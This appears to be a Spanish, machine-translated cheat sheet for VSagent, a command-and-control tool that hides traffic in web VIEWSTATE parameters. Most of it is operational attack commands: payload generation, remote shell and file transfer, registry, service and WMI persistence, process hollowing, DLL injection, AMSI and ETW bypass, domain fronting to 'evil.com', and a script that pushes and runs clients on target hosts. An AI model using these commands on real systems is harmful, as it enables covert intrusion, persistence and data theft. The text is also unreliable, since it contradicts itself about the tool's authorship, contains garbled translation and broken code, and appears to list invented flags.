Saltar a contenido

VSagent Cheat Sheet

"Clase de la hoja" id="copy-btn" class="copy-btn" onclick="copyAllCommands()" Copiar todos los comandos id="pdf-btn" class="pdf-btn" onclick="generatePDF()" Generar PDF seleccionado/button ■/div titulada

Sinopsis

VSagent es una herramienta especializada de mando y control (C2) desarrollada por Black Hills Information Security (BHIS) que oculta inteligentemente el tráfico C2 dentro del parámetro __VIEWSTATE de aplicaciones web. Este enfoque innovador aprovecha el hecho de que ASP. Las aplicaciones NET utilizan comúnmente parámetros VIEWSTATE grandes y codificados por base64, haciendo que el tráfico malicioso se mezcla sin problemas con comunicaciones legítimas de aplicaciones web. La herramienta representa una técnica de evasión sofisticada que explota la ubicuidad y el comportamiento esperado de los marcos de aplicación web para establecer canales de comunicación encubiertos.

La fuerza primaria de VSagent radica en su capacidad de mascarade C2 comunicaciones como tráfico normal de aplicaciones web. Al incorporar datos de comando y control dentro de los parámetros VIEWSTATE, la herramienta hace que la detección sea significativamente más difícil para las soluciones tradicionales de monitoreo de redes. Los equipos de seguridad a menudo pasan por alto el tráfico de VIEWSTATE ya que parece ser un comportamiento de aplicación web estándar, creando un punto ciego eficaz que VSagent explota. Esta técnica es particularmente valiosa en entornos con monitoreo estricto de redes y donde se detectarían y bloquearían rápidamente protocolos tradicionales C2.

VSagent actúa sobre el principio de esconderse a simple vista, utilizando la infraestructura legítima y los patrones de tráfico esperados de las aplicaciones web para mantener la persistencia y la comunicación con sistemas comprometidos. El diseño de la herramienta refleja una profunda comprensión de la arquitectura de aplicaciones web y las limitaciones de vigilancia de la seguridad de la red, lo que hace que sea una valiosa adición a los arsenales de equipo rojo y los kits de pruebas de penetración.

Instalación

Prerrequisitos

VSagent requiere un entorno de servidor web capaz de manejar ASP. Aplicaciones NET o marcos similares que utilizan parámetros VIEWSTATE:

# Install required dependencies
sudo apt update
sudo apt install git python3 python3-pip

# Install web server components
sudo apt install apache2 nginx

Git Instalación

# Clone VSagent repository
git clone https://github.com/nccgroup/VSagent.git
cd VSagent

# Install Python dependencies
pip3 install -r requirements.txt

# Make scripts executable
chmod +x *.py
chmod +x *.sh

Docker Instalación

# Build VSagent container
docker build -t vsagent .

# Run VSagent container
docker run -d -p 80:80 -p 443:443 vsagent

# Access container shell
docker exec -it vsagent /bin/bash

Uso básico

Configuración del servidor

Configuración del componente del servidor VSagent para manejar las comunicaciones C2:

# Start VSagent server
python3 vsagent_server.py --port 8080 --interface 0.0.0.0

# Start with SSL/TLS
python3 vsagent_server.py --port 443 --ssl --cert server.crt --key server.key

# Start with custom VIEWSTATE key
python3 vsagent_server.py --port 8080 --viewstate-key "custom_key_here"

# Enable verbose logging
python3 vsagent_server.py --port 8080 --verbose

# Start with authentication
python3 vsagent_server.py --port 8080 --auth-token "secure_token_123"

Despliegue del cliente

Implementación de clientes VSagent en sistemas de destino:

# Generate client payload
python3 generate_client.py --server 192.168.1.100 --port 8080

# Generate PowerShell client
python3 generate_client.py --server 192.168.1.100 --port 8080 --format powershell

# Generate with custom User-Agent
python3 generate_client.py --server 192.168.1.100 --port 8080 --user-agent "Mozilla/5.0 Custom"

# Generate with proxy support
python3 generate_client.py --server 192.168.1.100 --port 8080 --proxy 192.168.1.50:3128

# Generate encrypted client
python3 generate_client.py --server 192.168.1.100 --port 8080 --encrypt --key "encryption_key"

Ejecución del Mando

Ejecución de comandos a través del canal VSagent C2:

# List active agents
vsagent> list

# Select agent for interaction
vsagent> use agent_001

# Execute system command
agent_001> shell whoami

# Execute PowerShell command
agent_001> powershell Get-Process

# Upload file to agent
agent_001> upload /local/path/file.txt C:\temp\file.txt

# Download file from agent
agent_001> download C:\temp\data.txt /local/path/data.txt

# Execute in-memory .NET assembly
agent_001> execute-assembly /path/to/assembly.exe arguments

Características avanzadas

VIEWSTATE Manipulación

Técnicas avanzadas para manipular los parámetros VIEWSTATE:

# Custom VIEWSTATE encoding
python3 vsagent_server.py --viewstate-encoding base64

# Multiple VIEWSTATE keys rotation
python3 vsagent_server.py --viewstate-keys key1,key2,key3 --rotation-interval 3600

# VIEWSTATE compression
python3 vsagent_server.py --viewstate-compress gzip

# Custom VIEWSTATE validation
python3 vsagent_server.py --viewstate-validation custom

# VIEWSTATE fragmentation
python3 vsagent_server.py --viewstate-fragment --fragment-size 1024

Obfuscación de tráfico

Implementing traffic obfuscation techniques:

# Random delay between communications
agent_001> set delay 30-120

# Custom HTTP headers
agent_001> set headers "X-Custom-Header: value"

# User-Agent rotation
agent_001> set user-agents "Mozilla/5.0...,Chrome/91.0...,Safari/14.0..."

# Referrer spoofing
agent_001> set referrer "https://legitimate-site.com"

# Cookie manipulation
agent_001> set cookies "session=abc123; auth=xyz789"

Persistence Mechanisms

Establecer persistencia a través de VSagent:

# Registry persistence
agent_001> persist registry --key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" --name "VSagent"

# Scheduled task persistence
agent_001> persist task --name "SystemUpdate" --trigger daily --time "09:00"

# Service persistence
agent_001> persist service --name "VSagentSvc" --display "System Update Service"

# WMI persistence
agent_001> persist wmi --namespace "root\subscription" --consumer "VSagentConsumer"

# Startup folder persistence
agent_001> persist startup --path "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

Técnicas de evacuación

Evasión de red

Ejecución de la evasión a nivel de red:

# Domain fronting
python3 vsagent_server.py --domain-front cdn.cloudflare.com --real-domain evil.com

# DNS over HTTPS
python3 vsagent_server.py --dns-over-https --doh-server https://1.1.1.1/dns-query

# Traffic shaping
python3 vsagent_server.py --traffic-shape --min-delay 5 --max-delay 30

# Protocol tunneling
python3 vsagent_server.py --tunnel-protocol https --tunnel-port 443

# Proxy chaining
python3 vsagent_server.py --proxy-chain "proxy1:8080,proxy2:3128,proxy3:1080"

Evasión de base anfitriona

Evasión de detección basada en el host:

# Process hollowing
agent_001> hollow-process notepad.exe payload.exe

# DLL injection
agent_001> inject-dll target_process.exe malicious.dll

# Memory patching
agent_001> patch-memory process_name offset shellcode

# AMSI bypass
agent_001> bypass-amsi

# ETW evasion
agent_001> disable-etw

Anti-Analisis

Aplicación de técnicas antianálisis:

# Sandbox detection
agent_001> detect-sandbox

# Virtual machine detection
agent_001> detect-vm

# Debugger detection
agent_001> detect-debugger

# Analysis tool detection
agent_001> detect-analysis-tools

# Environment fingerprinting
agent_001> fingerprint-environment

Scripts de automatización

Automatización del despliegue

#!/bin/bash
# VSagent deployment automation

# Set variables
SERVER_IP="192.168.1.100"
SERVER_PORT="8080"
TARGET_LIST="targets.txt"

# Generate clients for multiple targets
while IFS= read -r target; do
    echo "Generating client for $target"
    python3 generate_client.py --server $SERVER_IP --port $SERVER_PORT --target $target

    # Deploy client
    scp vsagent_client.exe user@$target:/tmp/
    ssh user@$target "cd /tmp && ./vsagent_client.exe"
done < "$TARGET_LIST"

echo "Deployment completed"

Automatización del comando

#!/bin/bash
# VSagent command automation

# Connect to VSagent server
python3 -c "
import vsagent_client

# Initialize connection
client = vsagent_client.VSagentClient('192.168.1.100', 8080)

# Execute command sequence
commands = [
    'shell whoami',
    'shell hostname',
    'powershell Get-Process',
    'download C:\temp\data.txt /tmp/data.txt'
]

for cmd in commands:
    result = client.execute(cmd)
    print(f'Command: \\\\{cmd\\\\}')
    print(f'Result: \\\\{result\\\\}')
    print('-' * 50)
"

Monitoring Script

#!/usr/bin/env python3
# VSagent monitoring script

import time
import requests
import json

def monitor_vsagent_traffic():
    """Monitor VSagent C2 traffic"""

    server_url = "http://192.168.1.100:8080"

    while True:
        try:
            # Check server status
            response = requests.get(f"\\\\{server_url\\\\}/status")

            if response.status_code == 200:
                data = response.json()

                print(f"Active agents: \\\\{data['active_agents']\\\\}")
                print(f"Total commands: \\\\{data['total_commands']\\\\}")
                print(f"Data transferred: \\\\{data['data_transferred']\\\\}")

                # Log agent activity
                for agent in data['agents']:
                    print(f"Agent \\\\{agent['id']\\\\}: Last seen \\\\{agent['last_seen']\\\\}")

            time.sleep(60)

        except Exception as e:
            print(f"Monitoring error: \\\\{e\\\\}")
            time.sleep(30)

if __name__ == "__main__":
    monitor_vsagent_traffic()

Ejemplos de integración

SIEM Integración

Integrando VSagent con sistemas SIEM:

# Splunk integration
python3 vsagent_server.py --siem-output splunk --splunk-host splunk.company.com --splunk-port 8089

# ELK Stack integration
python3 vsagent_server.py --siem-output elasticsearch --es-host elastic.company.com --es-port 9200

# QRadar integration
python3 vsagent_server.py --siem-output qradar --qradar-host qradar.company.com --qradar-port 514

# Custom SIEM integration
python3 vsagent_server.py --siem-output custom --siem-script /path/to/custom_siem.py

Threat Intelligence Integración

#!/usr/bin/env python3
# VSagent threat intelligence integration

import requests
import json

def integrate_threat_intel():
    """Integrate with threat intelligence platforms"""

    # VirusTotal integration
    vt_api_key = "your_vt_api_key"

    # Check IOCs
    iocs = ["192.168.1.100", "evil.com", "malicious.exe"]

    for ioc in iocs:
        url = f"https://www.virustotal.com/vtapi/v2/ip-address/report"
        params = \\\\{"apikey": vt_api_key, "ip": ioc\\\\}

        response = requests.get(url, params=params)

        if response.status_code == 200:
            data = response.json()
            print(f"IOC \\\\{ioc\\\\}: \\\\{data['response_code']\\\\}")

if __name__ == "__main__":
    integrate_threat_intel()

Solución de problemas

Cuestiones comunes

Problemas de conciliación:

# Check network connectivity
ping target_server

# Verify port accessibility
telnet target_server 8080

# Check firewall rules
sudo iptables -L|grep 8080

# Test with curl
curl -v http://target_server:8080

** Cuestiones:**

# Validate VIEWSTATE format
python3 validate_viewstate.py --input viewstate_data

# Debug VIEWSTATE parsing
python3 vsagent_server.py --debug-viewstate

# Check VIEWSTATE size limits
python3 check_viewstate_limits.py --server target_server

** Cuestiones de desempeño**

# Monitor resource usage
top -p $(pgrep vsagent)

# Check memory usage
ps aux|grep vsagent

# Monitor network traffic
netstat -an|grep 8080

# Check disk space
df -h

Debugging

Permite depuración detallada:

# Enable debug mode
python3 vsagent_server.py --debug --log-level DEBUG

# Capture network traffic
tcpdump -i eth0 -w vsagent_traffic.pcap port 8080

# Analyze logs
tail -f /var/log/vsagent.log

# Memory debugging
valgrind --tool=memcheck python3 vsagent_server.py

Consideraciones de seguridad

Seguridad operacional

** Seguridad de la comunicación** - Utilice siempre HTTPS/TLS para comunicaciones C2 - Implementar la fijación de certificados para prevenir ataques MITM - Utilice encriptación fuerte para la transmisión de carga útil - Claves de encriptación rotar regularmente

** Seguridad de la infraestructura:** - Implementar servidores C2 detrás de CDNs o redirectores - Use técnicas de frente de dominio cuando sea posible - Implementar la lista IP para el acceso administrativo - Actualizaciones y parches de seguridad regulares

Evitación de la detección: - Vary communication patterns and timing - Usa cadenas de usuario-agente legítimas - Implementar jitter en intervalos de baliza - Monitor para contramedidas defensivas

Consideraciones jurídicas y éticas

Authorized Testing Only: - Obtener la autorización escrita adecuada antes del despliegue - Definir claramente el alcance y las limitaciones - Document all activities for compliance - Seguir las prácticas de divulgación responsables

Protección de datos** - Encriptar datos confidenciales en tránsito y en reposo - Implementar procedimientos seguros de eliminación de datos - Respetar los requisitos de privacidad y confidencialidad - Cumplir con las normas de protección de datos aplicables

Referencias

  1. Black Hills Information Security - VSagent
  2. VIEWSTATE Security Research
  3. C2 Técnicas de Evasión
  4. Pruebas de seguridad de la aplicación web
  5. Seguridad de la red